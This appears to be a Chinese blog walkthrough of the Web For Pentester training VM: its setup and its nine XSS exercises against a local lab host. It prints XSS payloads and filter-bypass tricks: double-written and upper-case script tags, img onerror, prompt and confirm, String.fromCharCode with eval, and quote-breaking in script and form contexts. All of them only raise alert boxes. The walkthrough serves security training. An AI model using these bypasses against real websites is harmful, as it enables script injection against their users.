Web For Pentester是集成了一些简单的Web常见漏洞的靶场,其中有常见的XSS 文件上传 SQL注入 文件包含等常见漏洞,类似于DVWA

Web For Pentester搭建

Web For Pentester官方直接提供了一个ISO的镜像文件

下载地址:https://www.pentesterlab.com/exercises/web_for_pentester/attachments

直接安装在VMware即可使用



占用空间很小,改为桥接模式,给2G空间,内存512MB就可以,当然也可以更小



完成后进入虚拟机,直接输入ip a,查看靶机IP地址为172.16.1.103



使用物理机浏览器访问靶机http://172.16.1.103



搭建完成

XSS Example 1



这里并没有显示源码,就是黑盒测试,可以看到将name传参的内容使用hello + 传参内容拼接输出到了页面

这使用<script>alert('xss')</script>,进行弹窗测试

payload:http://172.16.1.103/xss/example1.php?name=<script>alert('xss')</script>



弹窗成功

XSS Example 2

直接使用<script>alert('xss')</script>弹窗失败



由于看不到源码,猜测可能是将<script>标签进行了过滤,尝试双写绕过<sc<script>ript>alert('xss')</sc</script>ript>



弹窗成功,也有可能只过滤了小写的script标签,所以也可以进行大小写绕过

<SCRIPT>alert('xss')</SCRIPT>



弹窗成功

XSS Example 3

直接进行<sc<script>ript>alert('xss')</sc</script>ript>双写绕过



弹窗成功

XSS Example 4

尝试<script>alert('xss')</script>弹窗,发现返回error



猜测可能是黑名单,使用<script>和</script>测试





很明显这里对<script>标签进行了黑名单检测,使用<img>标签进行测试

payload:<img src=1 onerror=alert('xss') />



使用img标签自动加载特性,请求1,由于加载错误,使用onerror当错误时事情属性,执行alert弹窗

XSS Example 5

经过测试发现,将alert进行了黑名单,但是并没有对<script>进行黑名单

prompt绕过

使用prompt进行弹窗

payload:<script>prompt('xss')</script>



弹窗成功

comfirm绕过

也可以使用comfirm进行弹窗

payload:<script>confirm</script>



弹窗成功

String.fromCharCode Unicode编码绕过

也可以使用Unicode编码进行绕过

javascrptString.fromCharCode方法可以将Unicode转换为字符串

使用在线工具计算alert('xss')的Unicode值,为97,108,101,114,116,40,39,120,115,115,39,41



payload:<script>eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))</script>



弹窗成功

XSS Example 6

传入test进行测试



发现传参直接在<script>中,所以我们需要响闭合SQL注入语句一样闭合js代码

payload:";alert('xss')////在js中是注释,;代表js中一句代码的结束



弹窗成功

XSS Example 7

直接传入hacker进行测试



所以与Example 6关卡一样,不过是将"改为了'闭合的方式

payload:';alert('xss')//



弹窗成功

XSS Example 8

设置了一个输入框,直接进行弹窗测试



没有将<script>标签进行解析为js,这里应该是将我们的标签进行了实例化

通过观察,action为提交体质,method为提交方式POST



action会从获取url中的提交地址,那么我们直接在url中输入/">就可以闭合form标签



其中/代表文件结束,"闭合action属性值,>闭合form标签

在后面紧跟<script>alert('xss')</script>就可以执行弹窗

拼接payload:/"><select>alert('xss')</select>



观察源代码



弹窗成功

XSS Example 9

检查源代码进行分析



通过location.hash直接获取url中#号后面的内容,并且直接写入到了页面

所以直接传入<script>alert('xss')</script>就可以弹窗



这里乱码,在网上查找大佬的教程,这里ChromeFirefox都会对<>进行编码,所以没有执行成功

在IE浏览器中测试成功

Web For Pentester靶场搭建 - XSS的更多相关文章

  1. Web For Pentester靶场(xss部分)

    配置 官网:https://pentesterlab.com/ 下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso 安装方法:虚 ...

  2. Web For Pentester 学习笔记 - XSS篇

    XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给 ...

  3. 【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 下载链接及文档说明: http://pentesterlab.com/ex ...

  4. 搭建DVWA Web渗透测试靶场

    文章更新于:2020-04-13 按照惯例,需要的文件附上链接放在文首. 文件名:DVWA-1.9-2020.zip 文件大小:1.3 M 文件说明:这个是新版 v1.9 (其实是 v1.10开发版) ...

  5. Pentester中的XSS详解

    本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目. 关于靶机搭建参考这篇文章:渗透测试靶机的搭建 第1题(无过滤措施) 首先在后面输入xss: http://10.21 ...

  6. web渗透漏洞靶场收集

    最近将自己遇到过或者知道的web靶场链接奉上 0X01 DVWA 推荐新手首选靶场,配置简单,需下载phpstudy和靶场文件包,简单部署之后即可访问. 包含了常见的web漏洞(php的),每个漏洞分 ...

  7. 搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收web页面的平台,XSS可以做js能做的所有事情,包括但不限于窃取cookie,后台增删文章.钓鱼.利用xss漏洞进行传播.修改网页代码.网站重定向 ...

  8. 搭建漏洞环境及实战——搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做成JS能做的所有事,包括但不限于窃取cookie.后台增删文章.钓鱼.利用CSS漏洞进行传播.修改网页代码.网站重定向 ...

  9. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  10. 【渗透测试学习平台】 web for pentester -1.介绍与安装

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...

随机推荐

  1. threadlocal应用

    public class DataSourceSelector { /** * 线程threadlocal */ private static ThreadLocal<String> db ...

  2. ubuntu 20.04 基于kubeadm部署kubernetes 1.22.4集群—报错解决

    一.添加node节点,报错1 注:可以提前在各node节点上修改好(无报错无需执行此项) yang@node2:~$ sudo kubeadm join 192.168.1.101:6443 --to ...

  3. Pytest之参数化

    在unittest测试中,有参数化的概念,那么在pytest中也有. 如何理解参数化: 当对一个测试函数进行测试时,通常会给函数传递多组参数.比如测试账号登陆,我们需要模拟各种千奇百怪的账号密码.可以 ...

  4. 【2020NOI.AC省选模拟#7】C. 逃课

    题目链接 原题解: 我们需要找出两个距离不超过$k-1$的位置,使他们的和尽量大. 被修改过得位置比较少,所以我们可以先求出连个位置都没有被修改过的答案,然后只关心那些涉及到至少一个被修改过的位置的方 ...

  5. Android 系统完整的权限列表

    访问登记属性  android.permission.ACCESS_CHECKIN_PROPERTIES ,读取或写入登记check-in数据库属性表的权限  获取错略位置  android.perm ...

  6. noi 1.1 5 输出保留12位小数的浮点数

    描述 读入一个双精度浮点数,保留12位小数,输出这个浮点数. 输入 只有一行,一个双精度浮点数. 输出 也只有一行,保留12位小数的浮点数. 样例输入 3.1415926535798932 样例输出 ...

  7. linux命令关机和重启命令及文件查找管道符用法linux grep

    关机和重启命令 Shutdown Reboot Halt poweroff grep和管道符 昨天的时候 leader 给我出了道问题: 找出文件夹下包含 "aaa" 同时不包含 ...

  8. gcc的编译过程

    1. 预处理,生成 .i 的文件.(input) 2. 将 .i的文件转换成汇编语言,生成 .s 的文件 3.生成机器语言文件,.o的文件 4.连接目标代码,生成可执行文件 .out

  9. DML操作数据

    添加数据 insert into 表名(列的名称)(数据);ps:列的名称用`  `包围可以减少出错 添加全部数据的时候可以把列的名称省略: 修改数据 update 表名  set 列名=数据,列名= ...

  10. js字符串搜索